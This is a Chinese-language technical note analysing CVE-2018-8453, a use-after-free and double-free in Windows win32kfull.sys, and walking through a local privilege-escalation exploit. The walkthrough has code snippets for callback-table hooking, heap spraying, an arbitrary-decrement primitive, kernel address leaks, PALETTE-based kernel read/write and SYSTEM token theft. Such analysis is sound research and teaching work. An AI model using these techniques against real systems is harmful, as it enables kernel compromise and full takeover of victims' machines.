CVE-2018-8453 Win32k漏洞分析笔记
字数 1781 2025-08-19 12:42:02
CVE-2018-8453 Win32k漏洞分析与利用
漏洞概述
CVE-2018-8453是一个Windows内核模式驱动win32kfull.sys中的Use-After-Free (UAF)类型漏洞。该漏洞允许攻击者在内核模式下执行任意代码,从而提升权限。
漏洞成因
漏洞产生于win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放的窗口设置新的FNID。通过利用这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。
环境配置
- 操作系统:Windows 10 x64 1709版本
- 调试工具:WinDbg Preview 1.0.2001.02001
漏洞分析
BSOD分析
当POC运行时,系统会因Double Free而崩溃。关键观察点:
- 崩溃时系统试图释放一块已经释放的pool内存
- 这是一个0x80大小的session pool
- 调用栈显示
win32kfull!xxxSBTrackInit和win32kfull!xxxEndScroll都尝试释放同一块内存
关键函数分析
win32kfull!xxxSBTrackInit
该函数实现滚动条的鼠标跟随功能,主要逻辑:
- 分配
SBTrack结构体保存用户鼠标位置信息 - 初始化
SBTrack结构 - 进入
xxxSBTrackLoop循环处理用户消息 - 循环结束后释放
SBTrack结构
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL) return;
// 初始化pSBTrack
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
// 循环结束后释放
if (pSBTrack) {
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
win32kfull!xxxEndScroll
该函数用于终止滚动条跟踪模式,会释放SBTrack结构:
void xxxEndScroll(PWND pwnd, BOOL fCancel) {
PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {
pSBTrack->xxxpfnSB = NULL;
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
}
调用路径
WM_CANCELMODE消息触发路径:
xxxDefWindowProc -> xxxDWP_DoCancelMode -> xxxEndScroll
POC分析
窗口创建
UINT CreateWindows(VOID) {
WNDCLASS wndclass = {0};
wndclass.cbWndExtra = 0x08; // 关键设置
wndclass.lpszClassName = "case";
RegisterClassA(&wndclass);
Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
SetWindowLongA(Window, 0, (ULONG)Window); // 保存句柄在扩展内存
// 创建子滚动条控件,必须设置为WS_CHILD
SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
}
关键点:
cbWndExtra = 0x08:为窗口设置扩展内存- 滚动条必须设置为
WS_CHILD:保持对父窗口的引用 - 保存窗口句柄在扩展内存:后续用于识别
回调函数Hook
VOID Hook_Init(VOID) {
ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);
VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);
// Hook fnDWORD
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
// Hook xxxClientAllocWindowClassExtraBytes
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}
触发流程
- 发送
WM_LBUTTONDOWN消息给滚动条 - 系统进入
xxxSBTrackInit和xxxSBTrackLoop - 在
fnDWORDHook回调中:- 销毁父窗口
- 触发
xxxFreeWindow调用xxxClientAllocWindowClassExtraBytesHook
- 在
xxxClientAllocWindowClassExtraBytesHook中:- 创建新滚动条
- 设置窗口FNID为0x2A1
- 设置新滚动条的捕获
- 再次进入
fnDWORDHook时发送WM_CANCELMODE - 触发
xxxEndScroll释放pSBTrack xxxSBTrackInit结束时再次释放pSBTrack,导致Double Free
漏洞利用
利用思路
- 通过堆喷射控制释放后的
pSBTrack内存 - 利用
HMAssignmentUnlock实现任意地址减1操作 - 泄露
PALETTE结构地址 - 修改
PALETTE结构实现任意内存读写 - 修改进程token提权
关键步骤
1. 堆喷射控制内存
UCHAR MenuNames[0x100] = {0};
memset(MenuNames, 0x43, 0x80 - 0x20);
*(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;
*(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;
// 注册大量窗口类占用释放的内存
for (UINT I = 0; I < 0x1000; ++I) {
sprintf((char*)ClassName, "WindowUaf%d", I);
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = (LPCWSTR)ClassName;
RegisterClassW(&wndclass);
}
2. 任意地址减1
HMAssignmentUnlock函数实现:
mov rax, [rcx+8]
dec qword ptr [rax]
通过控制rcx指向的内存内容,可以实现任意地址减1。
3. 泄露PALETTE地址
ULONG64 GetMenuAddress() {
// 创建临时窗口获取tagCLS地址
hwnd = CreateWindowExW(0, L"LEAKWS", NULL, 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
// 获取tagWND用户态地址
PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);
// 计算tagCLS地址
UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);
TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;
DestroyWindow(hwnd);
return *(ULONG64*)(TagCls + 0x98); // 获取MenuName地址
}
4. 修改PALETTE结构
// 创建特殊PALETTE结构
Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
Palette->palVersion = 0x0300;
Palette->palNumEntries = 0x1D5; // 分配0x800大小的pool
// 创建大量PALETTE对象占用内存
for (UINT I = 0; I < 0x1500; ++I) {
CreatePalette(Palette);
}
// 获取目标PALETTE对象
Where_PALETTE = CreatePalette(Palette);
What_PALETTE = CreatePalette(Palette);
5. 实现任意读写
通过修改PALETTE结构的cEntries和pFirstColor:
// 扩大读写范围
SetPaletteEntries(Where_PALETTE, ...);
// 任意地址读写
SetPaletteEntries(What_PALETTE, ...);
GetPaletteEntries(What_PALETTE, ...);
6. 提权
修改当前进程的token权限:
// 获取当前进程token
ULONG64 CurrentProcess = GetCurrentProcessToken();
ULONG64 SystemProcess = GetSystemProcessToken();
// 复制SYSTEM token到当前进程
SetPaletteEntries(Where_PALETTE, ...);
清理工作
为避免Double Free导致系统不稳定,需要清理对pSBTrack的引用:
VOID FMenuName(VOID) {
ULONG64 Zero = 0;
for (UINT I = 0; I < 0x1000; ++I) {
if (TagCls_Menu_Address[I] == 0) continue;
// 将lpszMenuName指针置零
SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);
SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
}
}
总结
CVE-2018-8453是一个典型的UAF漏洞,通过精心构造的窗口操作和回调函数hook,攻击者可以实现内核内存的任意读写,最终达到提权目的。该漏洞利用涉及多个关键技术点:
- 窗口对象和FNID的巧妙操作
- 回调函数hook技术
- 精确的堆布局控制
- PALETTE结构的利用
- 任意地址读写实现
微软在后续版本中修复了该漏洞,主要修复点包括对窗口对象状态的严格检查以及改进的内存管理机制。